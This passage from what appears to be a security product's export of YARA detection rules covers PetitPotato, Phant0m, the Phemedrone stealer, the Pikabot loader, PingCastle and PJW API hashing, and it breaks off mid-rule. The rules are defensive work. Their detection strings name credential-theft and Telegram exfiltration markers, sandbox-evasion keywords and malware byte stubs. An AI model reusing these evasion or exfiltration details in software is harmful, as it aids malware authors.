= \"[+] Invoking EfsRpcAddUsersToFileEx with target path: %ws.\" fullword wide\n        $s5 = \"[+] Invoking EfsRpcFileKeyInfoEx with target path: %ws.\" fullword wide\n        $s6 = \"[+] Invoking EfsRpcGetEncryptedFileMetadata with target path: %ws.\" fullword wide\n        $s7 = \"[+] Malicious named pipe running on %S.\" fullword ascii\n        $s8 = \"    [0] EfsRpcOpenFileRaw\" fullword ascii\n        $s9 = \"    [1] EfsRpcEncryptFileSrv\" fullword ascii\n        $s10 = \"    [2] EfsRpcDecryptFileSrv\" fullword ascii\n        $s11 = \"    [9] EfsRpcAddUsersToFileEx\" fullword ascii\n        $s12 = \"    [10] EfsRpcFileKeyInfoEx (Failed)\" fullword ascii\n        $s13 = \"    [11] EfsRpcGetEncryptedFileMetadata (Failed)\" fullword ascii\n        $s14 = \"    [12] EfsRpcSetEncryptedFileMetadata (Failed)\" fullword ascii\n\n    condition:\n        5 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "petitpotato"
+  ],
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.PetitPotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-phant0m_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585304Z",
+  "creation_date": "2026-03-23T11:46:25.585306Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585311Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hlldz/Phant0m"
+  ],
+  "name": "phant0m.yar",
+  "content": "rule phant0m_clear_strings_markers {\n    meta:\n        title = \"Phant0m HackTool\"\n        id = \"2666afec-2b7c-4be1-9dbc-669df8043a2c\"\n        description = \"Detects the Phant0m tool.\\nPhant0m primarily focuses on suspending Windows Event Log Service threads to prevent accurate logging in the Windows Event Logger.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://github.com/hlldz/Phant0m\"\n        date = \"2021-06-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1070.001\"\n        classification = \"Windows.HackTool.Phant0m\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $ascii_art_01 = \"\t ___ _  _   _   _  _ _____ __  __  __ \" ascii\n        $ascii_art_02 = \"\t| _ \\\\ || | /_\\\\ | \\\\| |_   _/  \\\\|  \\\\/  |\" ascii\n        $ascii_art_03 = \"\t|  _/ __ |/ _ \\\\| .` | | || () | |\\\\/| |\" ascii\n        $ascii_art_04 = \"\t|_| |_||_/_/ \\\\_\\\\_|\\\\_| |_| \\\\__/|_|  |_|\" ascii\n\n        $log_01 = \"[+] SeDebugPrivilege is enable, continuing...\" ascii\n        $log_02 = \"[!] SeDebugPrivilege is not enabled, trying to enable...\" ascii\n        $log_03 = \"[+] SeDebugPrivilege is enabled, continuing...\" ascii\n        $log_04 = \"[*] Attempting to detect PID from Service Manager...\" ascii\n        $log_05 = \"[*] Attempting to detect PID from WMI....\" ascii\n        $log_06 = \"[!] SCM: OpenSCManager failed (%d)\" ascii\n        $log_07 = \"[!] SCM: OpenService failed (%d)\" ascii\n        $log_08 = \"[!] SCM: QueryServiceStatusEx failed (%d)\" ascii\n        $log_09 = \"[!] WMI: Failed to initialize COM library.\" ascii\n        $log_10 = \"[!] WMI: Failed to initialize security.\" ascii\n        $log_11 = \"[!] WMI: Failed to create IWbemLocator object.\" ascii\n        $log_12 = \"[!] WMI: Could not connect.\" ascii\n        $log_13 = \"[!] WMI: Could not set proxy blanket.\" ascii\n        $log_14 = \"[!] WMI: Query failed.\" ascii\n        $log_15 = \"[*] Using Technique-1 for killing threads...\" ascii\n        $log_16 = \"[*] Using Technique-2 for killing threads...\" ascii\n        $log_17 = \"[!] Thread %d is detected but kill failed. Error code is: %d\" ascii\n        $log_18 = \"[+] Thread %d is detected and successfully killed.\" ascii\n        $log_19 = \"[+] Process Integrity Level is high, continuing...\" ascii\n        $log_20 = \"[+] Event Log service PID detected as %d.\" ascii\n        $log_21 = \"[!] SeDebugPrivilege cannot enabled. Exiting...\" ascii\n        $log_22 = \"[*] All done.\" ascii\n\n    condition:\n        all of ($ascii_art_*) or\n        6 of ($log_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "phant0m_clear_strings_markers"
+  ],
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Phant0m"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-phemedrone_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.589664Z",
+  "creation_date": "2026-03-23T11:46:25.589666Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.589672Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://spycloud.com/blog/phemedrone-stealer/\nhttps://www.splunk.com/en_us/blog/security/unveiling-phemedrone-stealer-threat-analysis-and-detections.html\n"
+  ],
+  "name": "phemedrone.yar",
+  "content": "rule phemedrone {\n        meta:\n        title = \"Phemedrone Stealer\"\n        id = \"9e6ae402-c31f-4c00-8487-7a55388ac364\"\n        description = \"Detects Phemedrone Stealer, an emerging C# information-stealing malware designed to harvest credentials (FTP, Steam, Discord, Telegram, VPN), browser data and cryptocurrency wallets.\\nIt features anti-analysis techniques such as anti-debugging and VM detection and the ability to exfiltrate data through Telegram.\\nIt is recommended to investigate the context around this alert to identify potential data theft, persistence mechanisms, and additional malicious activity.\"\n        references = \"https://spycloud.com/blog/phemedrone-stealer/\\nhttps://www.splunk.com/en_us/blog/security/unveiling-phemedrone-stealer-threat-analysis-and-detections.html\\n\"\n        date = \"2025-12-01\"\n        modified = \"2025-12-11\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1622;attack.t1497;attack.discovery;attack.t1083;attack.credential_access;attack.t1555;attack.t1555.003;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Stealer.Phemedrone\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // eebb47c48137f331e9e7e203763300c343a3643f88c60318667b5d525c40a058\n        // a72d37979c90b5850bc50bd063a5da3bfeebea11b2ebecff85f35b7586433f38\n        // a636706ceed3032a0b2ccab47dad288f9e1d02c01b4fb7a8529291fc32736776\n\n        $report_00 = \"*Phemedrone Stealer Report*\" wide\n        $report_01 = \"by @reyvortex & @TheDyer\" wide\n        $report_02 = \"https://github\\\\.com/REvorker1/Phemedrone\\\\-Stealer\" wide\n        $report_03 = \"-Phemedrone-Report.zip\" wide\n\n        $url_00 = \"http://ip-api.com/json/?fields=11827\" wide\n        $url_01 = \"https://api.telegram.org/bot{0}/sendDocument\" wide\n\n        $misc_00 = \"Screenshot.png\" wide\n        $misc_01 = \".phem\" wide\n\n        $evasion_01 = \"wireshark\" wide\n        $evasion_02 = \"httpdebbugerui\" wide\n        $evasion_03 = \"VirtualBox\" wide\n        $evasion_04 = \"VBox\" wide\n        $evasion_05 = \"VMware Virtual\" wide\n        $evasion_06 = \"Hyper-V Video\" wide\n\n    condition:\n        (2 of ($report_*))\n        or (1 of ($url*) and 2 of ($misc*) and 3 of ($evasion*))\n}",
+  "rule_count": 1,
+  "rule_names": [
+    "phemedrone"
+  ],
+  "rule_creation_date": "2025-12-01",
+  "rule_modified_date": "2025-12-11",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Phemedrone"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1497",
+    "attack.t1041",
+    "attack.t1555",
+    "attack.t1555.003",
+    "attack.t1622"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pikabot_loader_dba02f78ebc7_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568668Z",
+  "creation_date": "2026-03-23T11:46:25.568670Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568676Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/pikabot-i-choose-you\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot\nhttps://attack.mitre.org/techniques/T1027/"
+  ],
+  "name": "pikabot_loader_dba02f78ebc7.yar",
+  "content": "rule pikabot_loader_dba02f78ebc7 {\n    meta:\n        title = \"Pikabot Loader (dba02f78ebc7)\"\n        id = \"c23b2370-0886-456e-b55a-dba02f78ebc7\"\n        description = \"Detects the Pikabot Loader used to inject Pikabot core into a suspended instance of ctfmon.exe.\\nPikabot is an emerging malware family as of 2023, comprising a downloader/installer, loader, and core backdoor component. It demonstrates advanced techniques in evasion, injection, and anti-analysis.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://www.elastic.co/security-labs/pikabot-i-choose-you\\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot\\nhttps://attack.mitre.org/techniques/T1027/\"\n        date = \"2024-02-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Trojan.Pikabot\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ffc39c3fdbe06c62d04f4853fd2f0dda2e745a2886776b2ee39418c53d764441\n\n        $syscall = {\n            58                                            // pop     eax\n            A3 ?? ?? ?? ??                                // mov     dword_645961D0, eax\n            54                                            // push    esp\n            58                                            // pop     eax\n            83 C0 04                                      // add     eax, 4\n            FF 30                                         // push    dword ptr [eax]\n            8F 05 ?? ?? ?? ??                             // pop     dword_645961D4\n            83 C0 04                                      // add     eax, 4\n            50                                            // push    eax\n            8F 05 ?? ?? ?? ??                             // pop     dword_645961D8\n            E8 ?? ?? ?? ??                                // call    sub_6458DD94\n            83 C4 04                                      // add     esp, 4\n            A3 ?? ?? ?? ??                                // mov     dword_645961DC, eax\n            31 C0                                         // xor     eax, eax\n            64 8B 0D C0 00 00 00                          // mov     ecx, large fs:0C0h\n            85 C9                                         // test    ecx, ecx\n            74 01                                         // jz      short loc_64581038\n            40                                            // inc     eax\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pikabot_loader_dba02f78ebc7"
+  ],
+  "rule_creation_date": "2024-02-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Pikabot"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pingcastle_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571471Z",
+  "creation_date": "2026-03-23T11:46:25.571474Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571480Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.pingcastle.com/"
+  ],
+  "name": "pingcastle.yar",
+  "content": "import \"pe\"\n\nrule pingcastle {\n    meta:\n        title = \"PingCastle Tool\"\n        id = \"5ac26e75-2c41-470c-9201-6be64da95d9c\"\n        description = \"Detects the execution of PingCastle without PE metadata information, which is unusual.\\nPingCastle is a legitimate tool designed for Active Directory security analysis, often used during reconnaissance to identify vulnerabilities.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine the usage of this tool is legitimate.\"\n        references = \"https://www.pingcastle.com/\"\n        date = \"2023-03-20\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087.002;attack.t1482;attack.t1018;attack.t1615\"\n        classification = \"Windows.Tool.PingCastle\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"$ActiveDirectoryNameTranslateResult[]\" ascii fullword\n        $s2 = \"schemas.microsoft.com._2008._1.ActiveDirectory\" ascii fullword\n        $s3 = \"ActiveDirectoryNameFormat\" ascii fullword\n        $s4 = \"LSA_OBJECT_ATTRIBUTES\" ascii fullword\n        $s5 = \"NETLOGON_TRUSTED_DOMAIN_ARRAY\" ascii fullword\n        $s6 = \"SAMPR_RID_ENUMERATION\" ascii fullword\n        $s7 = \"PingCastle.shares\" ascii fullword\n        $s8 = \"AddAdminSDHolderSDDLRulesToDelegation\" ascii fullword\n        $s9 = \"<DomainName>k__BackingField\" ascii fullword\n        $s10 = \"%{DistinguishedName} {Account} {Right}\" ascii fullword\n        $s11 = \"PingCastle.ADWS\" ascii fullword\n        $s12 = \"PingCastle version\" wide fullword\n\n    condition:\n        10 of ($s*) and pe.version_info[\"OriginalFilename\"] != \"PingCastle.exe\"\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "pingcastle"
+  ],
+  "rule_creation_date": "2023-03-20",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.PingCastle"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.002",
+    "attack.t1018",
+    "attack.t1482",
+    "attack.t1615"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-pjw_api_hashing_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563778Z",
+  "creation_date": "2026-03-23T11:46:25.563780Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563786Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/carbanak-week-part-one-a-rare-occurrence"
+  ],
+  "name": "pjw_api_hashing.yar",
+  "content": "rule pjw_api_hashing {\n    meta:\n        title = \"PJW API Hashing\"\n        id = \"45cd457e-9870-4208-ae8e-2e9f8b952ae7\"\n        description = \"Detects the use of the PJW hashing function.\\nThe PJW (Peter J. Weinberger) hashing algorithm is used by malware to obfuscate the import of Windows API functions.\\nThis technique allows malicious code to dynamically resolve API function calls while avoiding detection by security tools.\\nThe PJW hash function was initially identified in the Carbanak banking trojan and has since been widely adopted by various malware families for API hashing purposes.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://cloud.google.com/blog/topics/threat-intelligence/carbanak-week-part-one-a-rare-occurrence\"\n        date = \"2024-05-27\"\n        modified = \"2025-11-26\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1027.007\"\n        classification = \"Windows.Generic.ApiHashing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for this sample:\n        // ebff8e5324010b0572b971205707faa234154416533f68a4091d4b5b7cf0f4b7\n\n        $stub_function_PJW = {\n            c1 ?? 04                          // shl     eax, 0x4\n            8b ?? ?8                          // mov     ecx, dword [ebp+0x8 {arg1}]\n            0f be ??                          // movsx   edx, byte [ecx]\n            03 ??                             // add     eax, edx\n            89 ?5 ??                          // mov     dword [ebp-0x8 {var_c_1}], eax\n            8b ?5 ?8                          // mov     eax, dword [ebp+0x8 {arg1}]\n            83 ?? 01                          // add     eax, 0x1\n            89 ?5 08                          // mov     dword [ebp+0x8 {arg1}], eax\n            8b ?5 ??                          // mov     eax, dword [ebp-0x8 {var_c_1}]\n            25 00 00 00 f0                    // and     eax, 0xf0000000\n            89 ?5 ??                          // mov     dword [ebp-0x14 {var_18_1}], eax\n            74 ??                             // je      0x40c6d9\n            8b ?? ??                          // mov     eax, dword [ebp-0x14 {var_18_1}]\n            c1 ?? 18                          // shr     eax, 0x18\n        }\n        $stub_hashed = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 b57dae09             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_CreateFileW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 2789d60a             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_CreateMutexW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 7714e40e             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_CreateProcessW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 5764e101             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_DeleteFileW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 6740d60a             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_DeviceIoControl = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 ac6fbc06             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_ExitProcess = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 336cd907             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_FindResourceA = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 11116805             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetCommandLineW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 678a340c             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetFileSize = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 d5696700             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetModuleFileNameW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 178bfa0d             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetModuleHandleA = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 91ec3b0a             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetProcAddress = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 031d3c0b             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetTempPathW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 17108a00             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_GetThreadContext = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 e4c7b904             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_LoadLibraryA = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 f1f0ad0a             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_LoadResource = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 15b1b309             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_LockResource = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 1568b309             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_OpenMutexW = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 17ca4903             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_QueueUserAPC = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 e3ad1709             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_ReadFile = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 a5cb780b             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_ResumeThread = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 4427230f             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_SetFilePointer = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 f25dd30b             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_SetThreadContext = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 e487b804             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_SizeofResource = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 b596aa0d             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_Sleep = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 c02b5a00             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        }\n        $stub_hashed_VirtualAlloc = {\n            83 c4 08                // add     esp, 0x8\n            (89 ?? ?? | a3 ?? ?? ?? ??)     // mov     dword [xxx], eax\n            68 e3cad803             // push    hash\n            8b ?? ??                // mov     register, dword [xxx]\n            5?                      // push    register\n            e8                      // call    api_hashing\n        